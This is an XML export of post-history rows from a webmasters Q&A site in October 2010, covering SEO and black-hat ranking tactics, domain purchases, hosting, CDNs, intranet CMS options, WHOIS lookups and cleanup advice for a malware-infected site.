  <row Id="9061" PostHistoryTypeId="2" PostId="4572" RevisionGUID="844ae7c0-0acd-4b74-ba29-cef028edd148" CreationDate="2010-10-28T23:06:51.003" UserId="2279" Text="Consider the following scenario: you are pitching SEO/Website Optimisation to a prospective client and you explain to them the importance of great copy and content, how acquiring links (ethically) can increase page rank, why the quality of the HTML build matters (H1, H2 tags, w3c validation etc), why keyword research is beneficial, you may drop in a few [Google Webmaster Guideline][1] or [Matt Cutts][2] references to back up your claims and rubbish the &quot;back hat&quot; approach as being no longer effective for good measure. Your advice is ethical and in the eyes of best practices, spot on.&#xD;&#xA;&#xD;&#xA;Then, the client points out to you some of their long established competitors on Google and you see these competitor websites ranking in the top spots (1 to 3) for medium to highly competitive search phrases that your client wants to compete for. These websites totally contradict your ethical approach and pretty much violate every best practice previously noted. They even out perform other &quot;white hat&quot; competitors who are in accordance with the above guidelines.&#xD;&#xA;&#xD;&#xA;I experienced this today. One of these well ranking websites had:&#xD;&#xA;&#xD;&#xA; - About six microsites with more or less the same copy and a *slightly* varied layout&#xD;&#xA; - Little or not textual content&#xD;&#xA; - I would almost say duplicate content across the sites, but there was so little of it it could barely qualify for being duplicate&#xD;&#xA; - All the content in Flash (with a music track that kicked in on each page load, not so much of an SEO issue - but it helps paint the picture)&#xD;&#xA; - Keyword stuffing behind the Flash file with a bunch of black text on black background in the style of keyword 1 keyword 2,keyword1,keyword 2,keyword 2 keyword 3 and so on...&#xD;&#xA; - The exact keyword stuffed combination present on every page of the website&#xD;&#xA; - A bunch of clearly self made links from poor quality forums and directories with little or no Page Rank&#xD;&#xA; - Links exchanged across the microsites&#xD;&#xA;&#xD;&#xA;How do you explain your way out of this when this hard evidence is sat in front of you undermining your great pitch?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/inproduct/bin/answer.py?hl=en&amp;answer=35769&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/-------" />
  <row Id="9062" PostHistoryTypeId="1" PostId="4572" RevisionGUID="844ae7c0-0acd-4b74-ba29-cef028edd148" CreationDate="2010-10-28T23:06:51.003" UserId="2279" Text="Why do some bad websites rank well?" />
  <row Id="9063" PostHistoryTypeId="3" PostId="4572" RevisionGUID="844ae7c0-0acd-4b74-ba29-cef028edd148" CreationDate="2010-10-28T23:06:51.003" UserId="2279" Text="&lt;seo&gt;&lt;best-practices&gt;" />
  <row Id="9064" PostHistoryTypeId="6" PostId="2671" RevisionGUID="0c18eefa-1772-4dd8-8e99-52bbd4390cc4" CreationDate="2010-10-28T23:11:09.417" UserId="2011" Comment="edited tags" Text="&lt;ecommerce&gt;&lt;shopping-cart&gt;" />
  <row Id="9065" PostHistoryTypeId="2" PostId="4573" RevisionGUID="1d10e6b8-502d-4c65-874f-0898777a24d5" CreationDate="2010-10-28T23:23:50.807" UserId="2059" Text="Just from personal experience, if it's a larger organization that bought the .com you're probably looking at a minimum price of a thousand dollars or more with no real room to talk them down.  Then again, we had the same thing happen to us with a .com but it was bought by some kid working out of his house.  We reached him on his personal cell phone and had talked him down from $500 to $120 or so within a week.  The domain in question wasn't getting much traffic and was probably of little value to anyone but us." />
  <row Id="9066" PostHistoryTypeId="5" PostId="4537" RevisionGUID="e15c4ae2-d40e-42dc-8514-1e0d72eac484" CreationDate="2010-10-28T23:52:32.353" UserId="2780" Comment="added 117 characters in body" Text="I have problem with Google Chrome and Theora video. I have video that plays nice in Opera and Firefox. However, it doesn't play in Google browser and I don't know why. I've made this video in ogg2theora.&#xD;&#xA;&#xD;&#xA;Test sample: http://wwsi.edu.pl/video/enigma.html&#xD;&#xA;&#xD;&#xA;Does anyone know how should I encode to Theora that Google Chrome works?&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;&#xD;&#xA;- I am not interested in encoding in WebM or h.264.&#xD;&#xA;- I am not asking what is the best way to publish video on a website.&#xD;&#xA;- I only do experiments with Ogg Theora." />
  <row Id="9067" PostHistoryTypeId="2" PostId="4574" RevisionGUID="e4c4e326-1f9e-4502-90fb-75c6febf1cab" CreationDate="2010-10-29T00:14:03.350" UserId="1253" Text="Without knowing the keywords or the sites I would *speculate* and point out the following:&#xD;&#xA;&#xD;&#xA; - The hidden text behind the flash file may not be doing them any good. It may be there, but that doesn't mean it is helping their rankings. There is a good chance that attempt at keyword stuffing is being ignored..&#xD;&#xA;&#xD;&#xA; - The links exchanged across the microsites isn't black hat. It isn't also necessarily helping them. Being that a link pattern is obvious those links may be, and probably are, devalued. One way links are almost always worth more then reciprocal and networked links.&#xD;&#xA;&#xD;&#xA; - You don't need a lot of content to rank well since search engines rank pages, not sites. So a one page website can have its home page, and only page, rank as well as any page on a huge website if the criteria are right (quality links, proper content, etc.)&#xD;&#xA;&#xD;&#xA; - Those links from forums and directories almost certainly carry little weight. They also aren't black hat to have.&#xD;&#xA;&#xD;&#xA; - Have you researched their backlinks? They may have some high quality links that are giving them a lot of help. Due to the search engines not reporting all backlinks you may not be able to determine this if it is indeed the case.&#xD;&#xA;&#xD;&#xA;What you should consider doing is:&#xD;&#xA;&#xD;&#xA; - Report the sites with the keyword stuffing behind the flash&#xD;&#xA;&#xD;&#xA; - If the prospective SEO client thinks black hat is the way to go tell them that something that you can get away with today could get you banned tomorrow. Would they want to risk being banned from Google and potentially lose out on priceless free advertising? A smart business wouldn't.&#xD;&#xA;&#xD;&#xA; - Tell them that those sites are crap and if they do the right thing they'll have an advantage over the competition. Isn't that what they are looking to hire you for?" />
  <row Id="9068" PostHistoryTypeId="2" PostId="4575" RevisionGUID="62d4abfc-2c80-465b-a9e5-8d19c3e62570" CreationDate="2010-10-29T00:36:45.863" UserDisplayName="delete" Text="How can I clear the &quot;crawl errors&quot; of webmaster tools? I have some &quot;crawl errors&quot; dating back two years which I cleared up a long time ago, but they are still hanging around on webmaster tools. I thought they would go away naturally once the mistaken links were fixed, but they don't seem to. Is there any way to clear old crawl errors manually?" />
  <row Id="9069" PostHistoryTypeId="1" PostId="4575" RevisionGUID="62d4abfc-2c80-465b-a9e5-8d19c3e62570" CreationDate="2010-10-29T00:36:45.863" UserDisplayName="delete" Text="How can I clear the &quot;crawl errors&quot; of Google webmaster tools?" />
  <row Id="9070" PostHistoryTypeId="3" PostId="4575" RevisionGUID="62d4abfc-2c80-465b-a9e5-8d19c3e62570" CreationDate="2010-10-29T00:36:45.863" UserDisplayName="delete" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="9071" PostHistoryTypeId="2" PostId="4577" RevisionGUID="64d8cd35-2010-4f36-9162-9841bb7c5408" CreationDate="2010-10-28T15:44:48.563" UserDisplayName="Guffa" Text="The robots will see what you send from the server.&#xD;&#xA;&#xD;&#xA;If you send an XML that has a link to a style sheet, the robots will see the XML. If you transform the XML into HTML on the server, the robots will see the HTML.&#xD;&#xA;" />
  <row Id="9072" PostHistoryTypeId="2" PostId="4578" RevisionGUID="3766b9e1-4ea1-4bd2-bea7-bd2764137e2c" CreationDate="2010-10-28T16:10:50.220" UserDisplayName="Alejandro" Text="It doesn't if you care about:&#xD;&#xA;&#xD;&#xA; - Sitmaps: for dynamicly generated&#xD;&#xA;   links&#xD;&#xA; - Standars vocabulary: Not only for&#xD;&#xA;   reuse with some service (like Google&#xD;&#xA;   Maps), but also &quot;metavocabulary&quot;&#xD;&#xA;   (like Dublin Core)&#xD;&#xA; - Webmaster tools: from search engines.&#xD;&#xA;&#xD;&#xA;As example, [here][1] is my own old client-side XML/XSLT driven site. You can [check][2] [this][3] [queries][4] about the site's pages crawled.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.aranedabienesraices.com.ar&#xD;&#xA;  [2]: http://www.google.com.ar/search?q=site%3Awww.aranedabienesraices.com.ar&#xD;&#xA;  [3]: http://siteexplorer.search.yahoo.com/ar/siteexplorer/search?p=www.aranedabienesraices.com.ar&#xD;&#xA;  [4]: http://www.bing.com/search?q=site%3Awww.aranedabienesraices.com.ar" />
  <row Id="9073" PostHistoryTypeId="2" PostId="4576" RevisionGUID="7775b431-20ef-47cf-bf96-881769a5f5ab" CreationDate="2010-10-28T15:30:55.137" UserDisplayName="Liam" Text="I have a site that is built completely in XML and is transformed by a single XSL file. How does this affect SEO? Is it possible to store page-specific metadata? Will robots see the transformed page (the result of the XSL stylesheet) or the plain XML?" />
  <row Id="9074" PostHistoryTypeId="1" PostId="4576" RevisionGUID="7775b431-20ef-47cf-bf96-881769a5f5ab" CreationDate="2010-10-28T15:30:55.137" UserDisplayName="Liam" Text="How does XML+XSLT affect SEO?" />
  <row Id="9075" PostHistoryTypeId="3" PostId="4576" RevisionGUID="7775b431-20ef-47cf-bf96-881769a5f5ab" CreationDate="2010-10-28T15:30:55.137" UserDisplayName="Liam" Text="&lt;xml&gt;&lt;seo&gt;&lt;metadata&gt;&lt;stylesheet&gt;" />
  <row Id="9076" PostHistoryTypeId="17" PostId="4576" RevisionGUID="00db99da-05f3-4f2f-861b-51ec34317c45" CreationDate="2010-10-29T01:11:26.507" UserId="-1" Comment="from http://stackoverflow.com/questions/4044431/how-does-xmlxslt-affect-seo" Text="" />
  <row Id="9077" PostHistoryTypeId="2" PostId="4580" RevisionGUID="3a74a787-53d8-4c95-8e56-aa4c1dd398fc" CreationDate="2010-10-27T12:18:09.000" UserDisplayName="Dave Anderson" Text="You will need some form of load balancer that can determine where the request comes from and forward the request to the appropriate server. You may find more help for [load balancing at serverfault.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/search?q=load+balancing" />
  <row Id="9078" PostHistoryTypeId="2" PostId="4579" RevisionGUID="88cfe5f3-0958-4c36-85d7-3d4065264ede" CreationDate="2010-10-27T12:10:59.577" UserId="2490" Text="I want to host 1 domain on multiple servers in different countries. If someone browses mydomain.com from usa I want him to be redirected to hosting in USA, and if someone browses from Europe I want him to be redirected to a hosting server in Europe, but to see the same domain name in the address bar. &#xD;&#xA;&#xD;&#xA;I want it for speed.&#xD;&#xA;&#xD;&#xA;How can it be done?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="9079" PostHistoryTypeId="1" PostId="4579" RevisionGUID="88cfe5f3-0958-4c36-85d7-3d4065264ede" CreationDate="2010-10-27T12:10:59.577" UserId="2490" Text="How to host 1 domain on multiple servers" />
  <row Id="9080" PostHistoryTypeId="3" PostId="4579" RevisionGUID="88cfe5f3-0958-4c36-85d7-3d4065264ede" CreationDate="2010-10-27T12:10:59.577" UserId="2490" Text="&lt;web-hosting&gt;&lt;domains&gt;" />
  <row Id="9081" PostHistoryTypeId="17" PostId="4579" RevisionGUID="27e0c471-ea3e-4346-82d7-472e43f09b5c" CreationDate="2010-10-29T01:11:59.630" UserId="-1" Comment="from http://stackoverflow.com/questions/4032992/how-to-host-1-domain-on-multiple-servers" Text="" />
  <row Id="9082" PostHistoryTypeId="2" PostId="4581" RevisionGUID="532d73ba-ac68-43c9-b3ed-e69f0885c726" CreationDate="2010-10-29T03:07:29.307" UserId="1218" Text="Have you considered a [CDN (Content Delivery Network)][1]? Depending on the content of your site, this can help speed up you site enormously. A huge number of large sites, including Microsoft and Apple, use CDNs to speed up the delivery of content.&#xD;&#xA;&#xD;&#xA;Using a CDN is generally a one-time setup, with less management required than having multiple servers.&#xD;&#xA;&#xD;&#xA;At the high end, companies like [Akamai][2] provide worldwide coverage.&#xD;&#xA;&#xD;&#xA;More cost-effective solutions would be [MaxCDN][3] or [Cachefly][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Content_delivery_network&#xD;&#xA;  [2]: http://www.akamai.com/&#xD;&#xA;  [3]: http://www.maxcdn.com/&#xD;&#xA;  [4]: http://www.cachefly.com/" />
  <row Id="9083" PostHistoryTypeId="2" PostId="4582" RevisionGUID="f5579ed2-54f5-41f2-835a-ff933b5474f1" CreationDate="2010-10-29T03:13:50.507" UserId="5137" Text="you need a CDN , if you want to distribute the load globally.&#xD;&#xA;&#xD;&#xA;Few well know providers are&#xD;&#xA;&#xD;&#xA; - Akamai   &#xD;&#xA; - BitGravity&#xD;&#xA; - Cachefly&#xD;&#xA;&#xD;&#xA;max cdn is also good.. but a new player&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9084" PostHistoryTypeId="2" PostId="4583" RevisionGUID="a3f2a03c-8a35-4907-82b7-9501a6b7faaf" CreationDate="2010-10-29T03:31:12.890" UserId="2333" Text="I'm researching for a project I'm going to be doing at work on the side...&#xD;&#xA;&#xD;&#xA;I work for a small hospital and we recently upgraded all the browsers inside our intranet to IE8 (Goodbye 6 :). We have a small, obsolete intranet built by someone who isn't a web designer...  functional enough, but annoying to maintain and really sparse.&#xD;&#xA;&#xD;&#xA;What I'm wanting to do... is use a good framework. I'm looking for suggestions...&#xD;&#xA;&#xD;&#xA;I'm looking for something Windows IIS based.&#xD;&#xA;&#xD;&#xA;I'd love windows authentication - with the ability to delegate sub-sections of the website to managers. Right now it's my job to add/update/delete anything from the site... I'd like something not complicated that can be delegated to non-technical people. &#xD;&#xA;&#xD;&#xA;Like... the Cafeteria Manager should be able to update the menu without putting a ticket into me. She'd log into her computer, open the intranet (which would use her windows log-on to identify her) and have elevated privileges to edit her section of the intranet.&#xD;&#xA;&#xD;&#xA;If I have to &quot;extend&quot; a good framework to get Windows Authentication, I'll do it... but I'd prefer it to be baked in.&#xD;&#xA;&#xD;&#xA;What are some good frameworks, tools and places to start? While this isn't a &quot;Huge&quot; project... it's going to be bigger than the basic stuff I've done before and I'd like a good place to start." />
  <row Id="9085" PostHistoryTypeId="1" PostId="4583" RevisionGUID="a3f2a03c-8a35-4907-82b7-9501a6b7faaf" CreationDate="2010-10-29T03:31:12.890" UserId="2333" Text="Building an intranet" />
  <row Id="9086" PostHistoryTypeId="3" PostId="4583" RevisionGUID="a3f2a03c-8a35-4907-82b7-9501a6b7faaf" CreationDate="2010-10-29T03:31:12.890" UserId="2333" Text="&lt;iis7&gt;&lt;intranet&gt;&lt;css-framework&gt;" />
  <row Id="9087" PostHistoryTypeId="2" PostId="4584" RevisionGUID="c98b4958-f7f7-4f82-be77-861398d93390" CreationDate="2010-10-29T03:36:48.750" UserId="2795" Text="Drupal is a great option. Many coming from a Windows background will probably suggest SharePoint, and that may be a good option, but I've detailed reasons why I, in particular, recommend against it here: http://archstldev.com/node/545&#xD;&#xA;&#xD;&#xA;I'm building out an Intranet on Drupal right now, and there are some good background materials on using Drupal for an Intranet here on the same site, node 374 (sorry, can't post more than one link yet).&#xD;&#xA;&#xD;&#xA;Drupal's LDAP integration module is very useful for authenticating against a Windows Active Directory server (that's what I'm using).&#xD;&#xA;&#xD;&#xA;The Organic Groups module for Drupal would let you define (or even let your users define) different 'groups' on the site which would be completely managed by those users. You could pop in and make changes if you want, but users could create and manage their own content pretty easily.&#xD;&#xA;&#xD;&#xA;Open Atrium is a purpose-built prepackaged Intranet system built on Drupal, as is Drupal Commons (google those names for links, as I can only post one link in this post :)." />
  <row Id="9088" PostHistoryTypeId="2" PostId="4585" RevisionGUID="e8d66d4e-b91b-4d43-8c89-883ce3b66c34" CreationDate="2010-10-29T04:32:23.343" UserId="1079" Text="It sounds like what you need is a [Content Management System (CMS)][1].  [DotNetNuke][2] is the most popular CMS that runs natively on IIS.  If you're willing to install PHP on your IIS box then you could also look at PHP CMS's like [Joomla][3] and [Drupal][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Content_management_system&#xD;&#xA;  [2]: http://www.dotnetnuke.com&#xD;&#xA;  [3]: http://www.joomla.org&#xD;&#xA;  [4]: http://drupal.org" />
  <row Id="9089" PostHistoryTypeId="2" PostId="4586" RevisionGUID="2b154ba6-031e-4a52-a146-239ec8c2ef64" CreationDate="2010-10-29T05:14:59.697" UserId="2379" Text="For the same reason women date @#$holes.  They may be bad, but they get a short simple message across.&#xD;&#xA;&#xD;&#xA;It is all relative.  If you do a search for Dolphin Pizza, i am sure its easy to rank.  Do a search for laser printer and its harder.  These sites just fill a void or a niche, but its hard to get a site with poor seo to rank well when there is a real market. &#xD;&#xA;&#xD;&#xA;I also think domain name has a lot with it.&#xD;&#xA;I once saw a one page .org site that ranked first on google because its name was my search term.  Verusus sites that had much better content.&#xD;&#xA;&#xD;&#xA;The truth is, even if a poor site ranks well it doesnt do well.&#xD;&#xA;What a waste of time to build up the ranking of a worthless site, id rather focus on building a great product first.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9090" PostHistoryTypeId="2" PostId="4587" RevisionGUID="f3d4f886-c6e9-4377-8ee0-14d977851400" CreationDate="2010-10-29T05:17:48.727" UserId="2379" Text="I have bough many domains from investors.  The best thing to do is reach out and find out how much they want.  Explain your budget, and ask them to meet it.  If they cant, then they cant. &#xD;&#xA;&#xD;&#xA;Its that simple.&#xD;&#xA;In my experience, i will usually find a good domain for free or $500 or less.&#xD;&#xA;I would pay top dollar for a domain name like rodeodrive.com  googlechrome.com but not for a general domain name for a new startup.  Its easy to find.&#xD;&#xA;&#xD;&#xA;check out http://brandstack.com for a list of cool domains for sale. &#xD;&#xA;" />
  <row Id="9091" PostHistoryTypeId="2" PostId="4588" RevisionGUID="237c560e-6937-4131-b3dd-d5af43e3e381" CreationDate="2010-10-29T05:19:50.097" UserId="2379" Text="Add to that sencha touch, and http://jqtouch.com/" />
  <row Id="9092" PostHistoryTypeId="2" PostId="4589" RevisionGUID="9f8e0e03-3c85-49a0-999e-006dd35df788" CreationDate="2010-10-29T05:36:44.390" UserId="2379" Text="there is a whois xml api.  do a google search for it.  If you are looking for WHOIS for marketing (which is not allowed), then i would use a 3rd party.  If you do too many whois requests from an ip, then whois servers begin to block you.&#xD;&#xA;&#xD;&#xA;The xml services i have seen get around this. " />
  <row Id="9093" PostHistoryTypeId="2" PostId="4590" RevisionGUID="70d5cfc5-b393-48ca-b7bc-15f03b084c6b" CreationDate="2010-10-29T05:39:54.463" UserId="2379" Text="adsense and doubleclick already have something similar.  Lets say you go to shopify.com, chances are you will see shopify ads served by google on sites you visit.  They do it based on cookies.&#xD;&#xA;&#xD;&#xA;You can do a request referrer and show ads based on who the referrer is yourself. &#xD;&#xA;" />
  <row Id="9094" PostHistoryTypeId="2" PostId="4591" RevisionGUID="eff99329-6485-4b08-8789-4219454c641f" CreationDate="2010-10-29T05:42:26.637" UserDisplayName="jenks74" Text="I host 2 websites that generate a pretty substantial traffic (about 6000 unique visitors a day both). I have business Internet at home and I own one static IP from my ISP. I run my own servers. However, I want to know why some other websites when I run a search on:&#xD;&#xA;&#xD;&#xA;    http://whoishostingthis.com/&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;    http://infosniper.net/&#xD;&#xA;&#xD;&#xA;display the provider or hosted company as themselves, even though they are not crazy big sites, but my site is displayed as being hosted by my ISP. Is there a way to change this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9095" PostHistoryTypeId="1" PostId="4591" RevisionGUID="eff99329-6485-4b08-8789-4219454c641f" CreationDate="2010-10-29T05:42:26.637" UserDisplayName="jenks74" Text="netblock ip - own hosting - home servers" />
  <row Id="9096" PostHistoryTypeId="3" PostId="4591" RevisionGUID="eff99329-6485-4b08-8789-4219454c641f" CreationDate="2010-10-29T05:42:26.637" UserDisplayName="jenks74" Text="&lt;web-hosting&gt;&lt;server&gt;&lt;ip-address&gt;" />
  <row Id="9098" PostHistoryTypeId="5" PostId="4575" RevisionGUID="5583ce02-b0ac-4421-af00-660e3d22554c" CreationDate="2010-10-29T08:09:09.020" UserDisplayName="delete" Comment="added 48 characters in body" Text="How can I clear the &quot;crawl errors&quot; of Google webmaster tools? On my webmaster tools page, there are some &quot;Not found&quot; crawl errors dating back two years which I cleared up a long time ago, but they are still hanging around on webmaster tools. I thought they would go away naturally once the mistaken links were fixed, but they don't seem to. Is there any way to clear old crawl errors manually?" />
  <row Id="9099" PostHistoryTypeId="2" PostId="4593" RevisionGUID="827e3078-defb-4cba-8548-ec578b3d6e69" CreationDate="2010-10-29T08:19:17.463" UserId="1757" Text="What kind of &quot;search&quot; are you talking about? A google search doesn't display the hosting provider of a site. A whois record should display your registration info unless you chose to use private registration. And a whois search on an IP will show who the ip block is registered to, and is almost always your ISP.&#xD;&#xA;&#xD;&#xA;If you want to have your own company info show up in an IP lookup, then you need to obtain a provider-independent address space. This can be done through a regional internet registry or through a local internet registry.&#xD;&#xA;&#xD;&#xA;However, it's generally not worth it to get your own independent address space. They cost over $1000 a year to lease (from RIPE, the RIR for Europe and North-West Asia, it's 2000 euros for the first year and 1300 after that). The only reason you would get one is to avoid losing or having to change your IP if you switch ISPs or your ISP goes under. But since most internet applications are capable of using DNS routing, this too is rarely an issue.&#xD;&#xA;&#xD;&#xA;Spending that much money just to have your company info listed in a whois lookup of your IP address (who's gonna look that up anyway?) is just crazy." />
  <row Id="9100" PostHistoryTypeId="5" PostId="4593" RevisionGUID="e3d4ec35-a910-4f28-b6b9-6d874d6f34a5" CreationDate="2010-10-29T08:34:24.287" UserId="1757" Comment="added 511 characters in body; deleted 109 characters in body" Text="A whois record should display your registration info unless you chose to use private registration. And a whois search on an IP will show who the ip block is registered to, and is almost always your ISP.&#xD;&#xA;&#xD;&#xA;If you want to have your own company info show up in an IP lookup, then you need to obtain a [provider-independent address space][1]. This can be done through a [regional internet registry][2] or through a [local internet registry][3].&#xD;&#xA;&#xD;&#xA;However, it's generally not worth it to get your own independent address space. They cost over $1000 a year to lease (from RIPE, the RIR for Europe and North-West Asia, it's 2000 euros for the first year and 1300 after that). The only reason you would get one is for multihoming or to avoid losing or having to change your IP if you switch ISPs or your ISP goes under. But since most internet applications are capable of using DNS routing, this too is rarely an issue.&#xD;&#xA;&#xD;&#xA;Spending that much money just to have your company info listed in a whois lookup of your IP address (who's gonna look that up anyway?) is just crazy.&#xD;&#xA;&#xD;&#xA;**Edit:** It might be cheaper to get your independent address space from an LIR if you're only trying to get a small IP block, but I'm not sure how much cheaper or what the minimum block size is. Also, with RIRs, you have to demonstrate a need for your own PI address space.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Provider_Independent_Address_Space&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Regional_Internet_Registry&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Local_Internet_registry" />
  <row Id="9101" PostHistoryTypeId="2" PostId="4594" RevisionGUID="d52ea6af-f75e-42cf-a6ae-0d9ba93bb491" CreationDate="2010-10-29T08:38:23.397" UserId="1757" Text="ARIN also has a [RESTful WHOIS service][1] you can access through their API.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.arin.net/resources/whoisrws/index.html" />
  <row Id="9102" PostHistoryTypeId="2" PostId="4595" RevisionGUID="c5ca88fd-0fc0-4a48-be10-3fe94be29d4d" CreationDate="2010-10-29T09:18:53.503" UserId="1064" Text="You can resolve 404 errors (and get them to stop appearing in Webmaster Tools) by implementing a 301 redirect from the old URI to a valid URI - if the links were incorrect to begin with, go ahead and redirect them to the content they were supposed to link to." />
  <row Id="9103" PostHistoryTypeId="2" PostId="4596" RevisionGUID="0a5bcb8c-2f00-43ad-80bc-0d445971b7ed" CreationDate="2010-10-29T09:29:38.583" UserDisplayName="Ajay_kumar" Text="my website is attack by malware how will i remove it ? What i should to do to remove this error ?" />
  <row Id="9104" PostHistoryTypeId="1" PostId="4596" RevisionGUID="0a5bcb8c-2f00-43ad-80bc-0d445971b7ed" CreationDate="2010-10-29T09:29:38.583" UserDisplayName="Ajay_kumar" Text="How to remove malware attck from website" />
  <row Id="9105" PostHistoryTypeId="3" PostId="4596" RevisionGUID="0a5bcb8c-2f00-43ad-80bc-0d445971b7ed" CreationDate="2010-10-29T09:29:38.583" UserDisplayName="Ajay_kumar" Text="&lt;malware&gt;" />
  <row Id="9106" PostHistoryTypeId="17" PostId="4596" RevisionGUID="049d1ff9-407d-4cd7-920a-dcf356c6e822" CreationDate="2010-10-29T09:34:34.607" UserId="-1" Comment="from http://stackoverflow.com/questions/4050598/how-to-remove-malware-attck-from-website" Text="" />
  <row Id="9107" PostHistoryTypeId="2" PostId="4597" RevisionGUID="9e5f43f3-1cdf-4108-99ad-eaa19f28d5a2" CreationDate="2010-10-29T09:53:47.880" UserId="1757" Text="IMO, if you have to ask, then you need to find a webmaster/web developer with some security expertise to handle the situation.&#xD;&#xA;&#xD;&#xA;There are millions of ways a site could be compromised and infected with malware. There isn't a magical program you can just run on your server to remove the malware infection. So without knowing how the system was built, how it was compromised, and what kind of malware it is, there's no way for us to tell you how to remove it.&#xD;&#xA;&#xD;&#xA;If you don't want to hire a security-conscious webmaster, then your best bet is to delete the site, restore from a backup, change your passwords, and update all of your software.&#xD;&#xA;&#xD;&#xA;But if you don't know how or when the site was compromised, and if the exploit used was in your custom-written code, in your configurations, or still exists in the latest version of your software, then you'll just be compromised again." />
  <row Id="9108" PostHistoryTypeId="2" PostId="4598" RevisionGUID="940871f0-d2c7-4c28-b3a4-a4d67927db3e" CreationDate="2010-10-29T09:59:26.820" UserId="2802" Text="If you are after a Windows IIS based Intranet, I suggest either one of the following content management systems:&#xD;&#xA;&#xD;&#xA;* DotNetNuke (Community version is available)&#xD;&#xA;* Microsoft Sharepoint&#xD;&#xA;&#xD;&#xA;Both of these can link into your Windows Active Directory, and provide pretty good control over every aspect of the site (including granular security, so you allow that cafeteria lady to edit her menu)." />
  <row Id="9109" PostHistoryTypeId="5" PostId="4525" RevisionGUID="5431f49a-3e41-46cc-8b2f-a07fdbab7a4f" CreationDate="2010-10-29T10:02:27.620" UserId="1429" Comment="added 4 characters in body" Text="YES!&#xD;&#xA;&#xD;&#xA;Use them always and in the proper way, which means:&#xD;&#xA;&#xD;&#xA;don't pack them with keywords just for doing it. Use keywords/keyphrases as long as H1/H2 contains meaningful phrases, in other words **something that a human would read and don't think it's just spam text**." />
  <row Id="9110" PostHistoryTypeId="2" PostId="4599" RevisionGUID="944cc16f-5958-49aa-87c2-cbab652b9a55" CreationDate="2010-10-29T10:04:41.733" UserId="1089" Text="If you are certain there are no genuine reasons they rank well (see Mr Conde's answer for details) I'd suggest explaning as much as you can in front of the client and then report them. &#xD;&#xA;&#xD;&#xA;Leave your details and tell him to check where the competitors sites rank in a week. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="9111" PostHistoryTypeId="2" PostId="4601" RevisionGUID="15599168-c62b-4586-91df-616d49a21569" CreationDate="2010-10-29T05:12:59.070" UserId="1046" Text="You can't create a facebook page on your own domain unfortunately. [The only way is to create on facebook itself, the social networking plateform][1].&#xD;&#xA;&#xD;&#xA;You can however, put these [facebook widgets][2] to use to create your existence on facebook or get more fans/users.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.facebook.com/pages/create.php?campaign_id=372931622610&amp;placement=pghm&amp;extra_1=0&#xD;&#xA;  [2]: http://www.facebook.com/badges/" />
  <row Id="9112" PostHistoryTypeId="2" PostId="4600" RevisionGUID="5eaa6ff1-5013-406b-b09a-8db9c96b8262" CreationDate="2010-10-29T05:03:42.407" UserDisplayName="Joseph Ghassan" Text="I want to create a facebook page that has my domain name like this :&#xD;&#xA;&#xD;&#xA;http://www.facebook.com/TrimHold&#xD;&#xA;&#xD;&#xA;But I can't find the way.&#xD;&#xA;&#xD;&#xA;Any suggestions would be highly appreciated. Thanks." />
  <row Id="9113" PostHistoryTypeId="1" PostId="4600" RevisionGUID="5eaa6ff1-5013-406b-b09a-8db9c96b8262" CreationDate="2010-10-29T05:03:42.407" UserDisplayName="Joseph Ghassan" Text="Creating a facebook page with your domain name" />
  <row Id="9114" PostHistoryTypeId="3" PostId="4600" RevisionGUID="5eaa6ff1-5013-406b-b09a-8db9c96b8262" CreationDate="2010-10-29T05:03:42.407" UserDisplayName="Joseph Ghassan" Text="&lt;facebook&gt;" />
  <row Id="9115" PostHistoryTypeId="17" PostId="4600" RevisionGUID="27b68f5b-c019-4cc7-8e4d-e2306d065862" CreationDate="2010-10-29T10:12:04.603" UserId="-1" Comment="from http://stackoverflow.com/questions/4049115/creating-a-facebook-page-with-your-domain-name" Text="" />
  <row Id="9116" PostHistoryTypeId="2" PostId="4602" RevisionGUID="7329f864-b03b-4745-a0b2-951e2a4a6de0" CreationDate="2010-10-29T10:14:20.783" UserId="1089" Text="[BradB's post][1] has me thinking about competitors websites, what do you look at, and how long do you spend doing it?&#xD;&#xA;&#xD;&#xA;I thinking along the lines of content (how much, how well written), site structure, SEO techniques.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4572/why-do-some-bad-websites-rank-well/4599#4599" />
  <row Id="9117" PostHistoryTypeId="1" PostId="4602" RevisionGUID="7329f864-b03b-4745-a0b2-951e2a4a6de0" CreationDate="2010-10-29T10:14:20.783" UserId="1089" Text="What do you look at when viewing competitors websites?" />
  <row Id="9118" PostHistoryTypeId="3" PostId="4602" RevisionGUID="7329f864-b03b-4745-a0b2-951e2a4a6de0" CreationDate="2010-10-29T10:14:20.783" UserId="1089" Text="&lt;design&gt;&lt;competitors&gt;&lt;features&gt;" />
  <row Id="9119" PostHistoryTypeId="2" PostId="4603" RevisionGUID="25d481c1-3626-4c30-be77-5897c9867b25" CreationDate="2010-10-29T10:16:54.150" UserId="1089" Text="There is a [similar question here][1] which has a few good answers in. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1982/how-to-fix-a-site-that-google-tells-you-is-infected/3259#3259" />
